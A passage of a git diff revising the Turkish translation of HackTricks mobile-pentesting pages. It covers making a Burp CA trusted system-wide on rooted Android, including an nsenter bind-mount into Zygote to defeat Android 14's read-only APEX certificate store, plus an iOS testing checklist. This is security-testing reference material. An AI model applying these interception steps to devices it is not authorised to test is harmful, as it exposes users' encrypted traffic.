-1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza **sürükleyip bırakın**, böylece İndirilenler klasöründe saklanır ve `Sertifika yükle` -> `CA sertifikası`'na gidin
+1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza **sürükleyip bırakın** ve İndirilenler klasörüne kaydedin, ardından `Bir sertifika yükle` -> `CA sertifikası` seçeneğine gidin
-
+
-* Sertifikanın doğru bir şekilde saklandığını kontrol edin, `Güvenilir kimlik bilgileri` -> `KULLANICI`'ya gidin
+* Sertifikanın doğru bir şekilde kaydedildiğinden emin olmak için `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin
-
+
-2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefondaki Magics uygulamasına gidin, `Modüller` bölümüne gidin, `Depodan yükle`'yi tıklayın, `.zip` modülünü seçin ve kurulduktan sonra telefonu **yeniden başlatın**:
+2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefonunuzdaki Magics uygulamasına gidin, **`Modüller`** bölümüne tıklayın, **`Depodan yükle`**'yi seçin, `.zip` modülünü seçin ve kurulumu tamamladıktan sonra telefonu **yeniden başlatın**:
-
+
-* Yeniden başlatıldıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM`'e gidin ve Postswigger sertifikasının orada olduğunu kontrol edin
+* Yeniden başlattıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM` bölümüne gidin ve Postswigger sertifikasının orada olduğunu kontrol edin
-
+
## Android 14 Sonrası
-En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşındı, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir.
+En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** olarak **taşınmıştır**, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir.
-**APEX cacerts yolunu** yazılabilir hale getirmeye yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem böyle işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile unmount veya overlay yapma girişimleri bile değiştirilemezliği atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağlantısının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar.
+**APEX cacerts yolunu** yazılabilir hale getirmek için yapılan denemeler başarısızlıkla karşılanır, çünkü sistem bu tür işlemlere izin vermez. Dizin üzerindeki **PRIVATE** yayılma kaldırılmaya çalışılsa bile, bu değişikliklerin etkisiz olduğu görülür; uygulamalar, dosya sistemi seviyesindeki değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağlantısının **PRIVATE** yayılma ile yapılandırılmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar.
-Android'in başlatılması, işletim sistemi başladığında başlatılan `init` işlemi ile başlar ve aynı zamanda Zygote işlemini başlatır. Bu işlem, yeni bir bağlama ad alanı içeren bir Zygote işlemi ile uygulama işlemlerini başlatma sorumluluğunu üstlenir, bu da bu dizindeki değişiklikleri diğer işlemlerden izole eder.
+Android'in başlatılması, işletim sistemini başlatan `init` işlemiyle başlar ve aynı zamanda Zygote işlemini başlatır. Bu işlem, yeni bir bağlama ad alanı içeren bir Zygote işlemi ile uygulama işlemlerini başlatma sorumluluğunu üstlenir, bu da bu dizindeki değişiklikleri diğer işlemlerden izole eder.
-Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i elle yeniden bağlayarak ÖZEL yayılmayı kaldırmayı içerir, böylece yazılabilir hale getirilir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalayıp, **`/apex/com.android.conscrypt`** dizinini bağlamayı kaldırarak salt okunur kısıtlamayı ortadan kaldırıp, ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi içerir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir.
+Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i elle **yeniden bağlama** işlemiyle **PRIVATE** yayılmayı kaldırarak yazılabilir hale getirmeyi içerir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini bağlamayı kaldırmayı ve ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi gerektirir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@@ -139,8 +140,8 @@ echo "System certificate injected"
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
-2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikalarının bu dizine kopyalanması gerekmektedir. Bu, muhtemelen `/apex/com.android.conscrypt/cacerts/` dizininden varsayılan sertifikaların kopyalanmasını içerebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanmalıdır.
-3. **Zygote için Bağlama Montajı**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatma işleminden sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur:
+2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanmalıdır.
+3. **Zygote için Bağlama Montajı**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatmakla sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md
index b81966e26..03040132e 100644
--- a/mobile-pentesting/ios-pentesting-checklist.md
+++ b/mobile-pentesting/ios-pentesting-checklist.md
@@ -1,9 +1,9 @@
-# iOS Pentesting Checklist
+# iOS Pentesting Kontrol Listesi
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
Hemen Erişim Sağlayın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -12,12 +12,12 @@ Hemen Erişim Sağlayın:
Sıfırdan Kahraman Olarak AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
+* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
@@ -52,8 +52,8 @@ HackTricks'ı desteklemenin diğer yolları:
### Klavyeler
-* [ ] Uygulama [**özel klavye kullanımına izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)?
-* [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) kaydedilip kaydedilmediğini kontrol edin
+* [ ] Uygulama [**özel klavyelerin kullanımına izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)?
+* [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) saklanıp saklanmadığını kontrol edin
### **Kayıtlar**
@@ -61,49 +61,49 @@ HackTricks'ı desteklemenin diğer yolları:
### Yedekler
-* [ ] [**Yedekler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere erişmek için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin)
-* [ ] Ayrıca, [**yedekler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını değiştirmek için kullanılabilir, ardından yedeği telefona geri yükleyebilir ve değiştirilmiş yapılandırma yüklendiğinde bazı (güvenlik) **işlevselliği** atlanabilir
+* [ ] [**Yedekler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere **erişmek için** kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin)
+* [ ] Ayrıca, [**yedekler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek** için kullanılabilir, ardından yedeği telefona **geri yükleyerek** ve **değiştirilmiş yapılandırma** yüklendiğinde bazı (güvenlik) **işlevselliğin atlatılabileceği** kontrol edilebilir
### **Uygulamaların Belleği**
-* [ ] [**Uygulamanın belleği içinde hassas bilgileri**](ios-pentesting/#testing-memory-for-sensitive-data) kontrol edin
+* [ ] [**Uygulamanın belleği içinde**](ios-pentesting/#testing-memory-for-sensitive-data) hassas bilgileri kontrol edin
### **Kırık Şifreleme**
-* [ ] [**Şifreleme için kullanılan şifreleri**](ios-pentesting/#broken-cryptography) bulabilir misiniz?
+* [ ] [**Şifreleme için kullanılan şifrelerin**](ios-pentesting/#broken-cryptography) bulunup bulunamayacağını kontrol edin
* [ ] Hassas verileri göndermek/depolamak için [**eskimiş/zayıf algoritmaların**](ios-pentesting/#broken-cryptography) kullanılıp kullanılmadığını kontrol edin
* [ ] [**Şifreleme işlevlerini takip edin ve izleyin**](ios-pentesting/#broken-cryptography)
### **Yerel Kimlik Doğrulama**
-* [ ] Uygulamada [**yerel kimlik doğrulama**](ios-pentesting/#local-authentication) kullanılıyorsa, kimlik doğrulamanın nasıl çalıştığını kontrol etmelisiniz.
+* [ ] Uygulamada [**yerel kimlik doğrulama**](ios-pentesting/#local-authentication) kullanılıyorsa, kimlik doğrulamanın nasıl çalıştığını kontrol edin.
* [ ] Eğer [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanılıyorsa kolayca atlatılabilir
* [ ] Eğer [**dinamik olarak atlatılabilen bir işlev**](ios-pentesting/#local-authentication-using-keychain) kullanılıyorsa özel bir frida betiği oluşturabilirsiniz
-### IPC Aracılığıyla Hassas İşlevlerin Maruz Kalması
+### IPC Aracılığıyla Hassas İşlevsellik Maruziyeti
* [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Uygulamanın **herhangi bir protokol/şema kaydettiğini** kontrol edin
* [ ] Uygulamanın herhangi bir protokol/şemayı kullanmak için **kaydolduğunu** kontrol edin
-* [ ] Uygulamanın özel şemayı kullanan başka bir uygulama tarafından **intercept edilebilecek hassas bilgileri almayı beklediğini** kontrol edin
-* [ ] Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
-* [ ] Uygulamanın herhangi bir yerden özel şema aracılığıyla **çağrılabilen hassas bir işlevi açığa çıkardığını** kontrol edin
+* [ ] Uygulamanın, aynı şemayı kaydeden başka bir uygulama tarafından **intercept edilebilecek** herhangi bir hassas bilgiyi almayı bekleyip beklemediğini kontrol edin
+* [ ] Uygulamanın, özel şemayla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
+* [ ] Uygulamanın, özel şema aracılığıyla herhangi bir yerden çağrılabilen **hassas bir işlevsellik açığa çıkarmadığını** kontrol edin
* [**Evrensel Bağlantılar**](ios-pentesting/#universal-links)
* [ ] Uygulamanın **herhangi bir evrensel protokol/şema kaydettiğini** kontrol edin
* [ ] `apple-app-site-association` dosyasını kontrol edin
-* [ ] Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
-* [ ] Uygulamanın herhangi bir yerden özel şema aracılığıyla **çağrılabilen hassas bir işlevi açığa çıkardığını** kontrol edin
+* [ ] Uygulamanın, özel şema aracılığıyla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin
+* [ ] Uygulamanın, özel şema aracılığıyla herhangi bir yerden çağrılabilen **hassas bir işlevsellik açığa çıkarmadığını** kontrol edin
* [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Uygulamanın UIActivities alıp alamayacağını ve özellikle oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Uygulamanın **genel panoya herhangi bir şey kopyalayıp kopyalamadığını** kontrol edin
* [ ] Uygulamanın **genel panodan veri kullanıp kullanmadığını** kontrol edin
-* [ ] Hassas verilerin kopyalanıp kopyalanmadığını görmek için panoyu izleyin
+* [ ] Panoyu izleyerek herhangi bir **hassas verinin kopyalanıp kopyalanmadığını** kontrol edin
* [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md)
* [ ] Uygulamanın **herhangi bir uzantıyı kullanıp kullanmadığını** kontrol edin
* [**Web Görünümleri**](ios-pentesting/ios-webviews.md)
-* [ ] Kullanılan web görünümlerinin türlerini kontrol edin
-* [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumlarını kontrol edin
+* [ ] Hangi tür web görünümlerinin kullanıldığını kontrol edin
+* [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin
* [ ] Web görünümünün **file://** protokolüyle **yerel dosyalara erişip erişemediğini** kontrol edin **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Javascript'in **Native** **metodlara erişip erişemediğini** kontrol edin (`JSContext`, `postMessage`)
### Ağ İletişimi
@@ -137,7 +137,7 @@ HackTricks'i desteklemenin diğer yolları:
-
+
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md
index 6148c4d53..1f5b77ad1 100644
--- a/mobile-pentesting/ios-pentesting/README.md
+++ b/mobile-pentesting/ios-pentesting/README.md
@@ -1,24 +1,24 @@
# iOS Pentesting
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+Sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklam vermek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
-* Özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
-* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**.
+* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
@@ -40,54 +40,54 @@ Bu sayfada **iOS simülatörü**, **emülatörler** ve **jailbreak** hakkında b
### Temel iOS Test İşlemleri
-Test sırasında **birkaç işlem önerilecek** (cihaza bağlanma, dosya okuma/yazma/yükleme/indirme, bazı araçları kullanma...). Bu nedenle, bu işlemlerin nasıl gerçekleştirileceğini bilmiyorsanız, lütfen **sayfayı okumaya başlayın**:
+Test sırasında **çeşitli işlemler önerilecek** (cihaza bağlanma, dosya okuma/yazma/yükleme/indirme, bazı araçları kullanma...). Bu nedenle, bu işlemlerin nasıl gerçekleştirileceğini bilmiyorsanız, lütfen **sayfayı okumaya başlayın**:
{% content-ref url="basic-ios-testing-operations.md" %}
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
{% endcontent-ref %}
{% hint style="info" %}
-Aşağıdaki adımlar için **uygulama cihaza yüklenmiş olmalı** ve uygulamanın **IPA dosyası** zaten alınmış olmalıdır.\
+Aşağıdaki adımlar için **uygulamanın cihaza yüklenmiş olması** ve uygulamanın **IPA dosyasının zaten edinilmiş olması** gerekmektedir.\
Bunu nasıl yapacağınızı öğrenmek için [Temel iOS Test İşlemleri](basic-ios-testing-operations.md) sayfasını okuyun.
{% endhint %}
### Temel Statik Analiz
-IPA dosyasına otomatik bir Statik Analiz yapmak için [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) aracını kullanmanız önerilir.
+**MobSF** aracını kullanarak IPA dosyasına otomatik Statik Analiz yapmanız önerilir.
-Binary'de bulunan **korumaların tanımlanması**:
+**Binary'de bulunan korumaların tanımlanması**:
-* **PIE (Position Independent Executable)**: Etkinleştirildiğinde, uygulama her başlatıldığında rastgele bir bellek adresine yüklenir, bu da başlangıç bellek adresini tahmin etmeyi zorlaştırır.
+* **PIE (Konum Bağımsız Yürütülebilir)**: Etkinleştirildiğinde, uygulama her başlatıldığında rastgele bir bellek adresine yüklenir, başlangıç bellek adresini tahmin etmeyi zorlaştırır.
```bash
-otool -hv | grep PIE # PIE bayrağını içermesi gerekiyor
+otool -hv | grep PIE # PIE bayrağını içermesi gerekmektedir
```
-* **Stack Canaries**: Yığının bütünlüğünü doğrulamak için, bir işlevi çağırmadan önce yığında bir 'canary' değeri yerleştirilir ve işlev sona erdikten sonra tekrar doğrulanır.
+* **Yığın Kanaryaları**: Yığının bütünlüğünü doğrulamak için bir 'kanarya' değeri bir işlevi çağırmadan önce yığına yerleştirilir ve işlev sona erdiğinde yeniden doğrulanır.
```bash
-otool -I -v | grep stack_chk # stack_chk_guard ve stack_chk_fail sembollerini içermesi gerekiyor
+otool -I -v | grep stack_chk # stack_chk_guard ve stack_chk_fail sembollerini içermesi gerekmektedir
```
-* **ARC (Automatic Reference Counting)**: Ortak bellek bozulma hatalarını önlemek için
+* **ARC (Otomatik Referans Sayımı)**: Ortak bellek bozulma hatalarını önlemek için
```bash
-otool -I -v | grep objc_release # _objc_release sembolünü içermesi gerekiyor
+otool -I -v | grep objc_release # _objc_release sembolünü içermesi gerekmektedir
```
-* **Şifrelenmiş Binary**: Binary şifrelenmiş olmalı
+* **Şifrelenmiş Binary**: Binary şifrelenmiş olmalıdır
```bash
-otool -arch all -Vl | grep -A5 LC_ENCRYPT # cryptid 1 olmalı
+otool -arch all -Vl | grep -A5 LC_ENCRYPT # cryptid 1 olmalıdır
```
**Hassas/Güvensiz Fonksiyonların Tanımlanması**
-* **Zayıf Hash Algoritmaları**
+* **Zayıf Hashleme Algoritmaları**
```bash
# iOS cihazında
otool -Iv | grep -w "_CC_MD5"
otool -Iv | grep -w "_CC_SHA1"
-# Linux'ta
+# Linux üzerinde
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
```
@@ -99,7 +99,7 @@ otool -Iv | grep -w "_random"
otool -Iv | grep -w "_srand"
otool -Iv | grep -w "_rand"
-# Linux'ta
+# Linux üzerinde
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
@@ -110,10 +110,10 @@ grep -iER "_rand"
# iOS cihazında
otool -Iv | grep -w "_malloc"
-# Linux'ta
+# Linux üzerinde
grep -iER "_malloc"
```
-* **Güvensiz ve Savunmasız Fonksiyonlar**
+* **Güvensiz ve Kötüye Kullanılabilir Fonksiyonlar**
```bash
# iOS cihazında
@@ -129,7 +129,7 @@ otool -Iv | grep -w "_sprintf"
otool -Iv | grep -w "_printf"
otool -Iv | grep -w "_vsprintf"
-# Linux'ta
+# Linux üzerinde
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
@@ -145,11 +145,11 @@ grep -iER "_vsprintf"
### Temel Dinamik Analiz
-[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analizi kontrol edin. Farklı görünümler arasında gezinmeniz ve etkileşimde bulunmanız gerekecek, ancak diğer işlemleri yaparken birçok sınıfa bağlanacak ve bir rapor hazırlayacaktır.
+[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analize göz atın. Farklı görünümler arasında gezinmeniz ve etkileşimde bulunmanız gerekecek, ancak birçok sınıfa bağlanacak ve diğer işlemleri yapacak ve işiniz bittiğinde bir rapor hazırlayacaktır.
-### Yüklenmiş Uygulamaların Listelenmesi
+### Yüklü Uygulamaların Listelenmesi
-`frida-ps -Uai` komutunu kullanarak yüklenmiş uygulamaların **bundle kimliğini** belirleyin:
+`frida-ps -Uai` komutunu kullanarak yüklü uygulamaların **paket tanımlayıcısını** belirleyin:
```bash
$ frida-ps -Uai
PID Name Identifier
@@ -162,9 +162,9 @@ PID Name Identifier
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
```
-### Temel Sıralama ve Hooking
+### Temel Numaralandırma ve Hooking
-Uygulamanın bileşenlerini **sıralamanın** ve yöntemleri ve sınıfları kolayca **hooking** yapmanın nasıl yapılacağını öğrenin:
+Uygulamanın bileşenlerini **numaralandırma** ve yöntemleri ve sınıfları kolayca **hooklama** konusunda objection ile nasıl yapılacağını öğrenin:
{% content-ref url="ios-hooking-with-objection.md" %}
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
@@ -172,45 +172,45 @@ Uygulamanın bileşenlerini **sıralamanın** ve yöntemleri ve sınıfları kol
### IPA Yapısı
-Bir **IPA dosyasının** yapısı temel olarak bir **sıkıştırılmış paketin** yapısıdır. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini ortaya çıkarmak için **sıkıştırılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kaynaklarını kapsayan tamamen paketlenmiş bir uygulamayı temsil eder.
+Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paket** yapısındadır. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `.app` adında bir dizin bulacaksınız.
-* **`Info.plist`**: Bu dosya, uygulamanın belirli yapılandırma ayrıntılarını içerir.
+* **`Info.plist`**: Bu dosya uygulamanın belirli yapılandırma detaylarını tutar.
* **`_CodeSignature/`**: Bu dizin, paketteki tüm dosyaların bütünlüğünü sağlayan bir imza içeren bir plist dosyasını içerir.
-* **`Assets.car`**: İkonlar gibi varlık dosyalarını depolayan sıkıştırılmış bir arşiv.
-* **`Frameworks/`**: Bu klasör, uygulamanın `.dylib` veya `.framework` dosyaları şeklinde olabilen yerel kitaplıklarını barındırır.
-* **`PlugIns/`**: Bu, uygulamaya eklenti olarak adlandırılan `.appex` dosyalarını içerebilir, ancak her zaman mevcut değildir.
-* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Çevrimdışı kullanım için uygulamanızın kalıcı verilerini kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabındaki birden çok cihaz arasında veri senkronizasyonu için Core Data, şemanızı otomatik olarak bir CloudKit konteynerine yansıtır.
-* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya paketinizin türünü ve oluşturucu kodlarını belirtmenin alternatif bir yoludur.
-* **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketlerini ve desteklenmeyen bir dil için varsayılan bir kaynağı içeren dil paketlerini içeren dil paketleridir.
+* **`Assets.car`**: Simgeler gibi varlık dosyalarını depolayan sıkıştırılmış bir arşiv.
+* **`Frameworks/`**: Bu klasör uygulamanın yerel kütüphanelerini barındırır, bu kütüphaneler `.dylib` veya `.framework` dosyaları şeklinde olabilir.
+* **`PlugIns/`**: Bu, uygulamanın uzantılarını içerebilir, `.appex` dosyaları olarak bilinir, ancak her zaman mevcut değildir.
+* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu yapmak için Core Data, şemanızı otomatik olarak bir CloudKit konteynerine yansıtır.
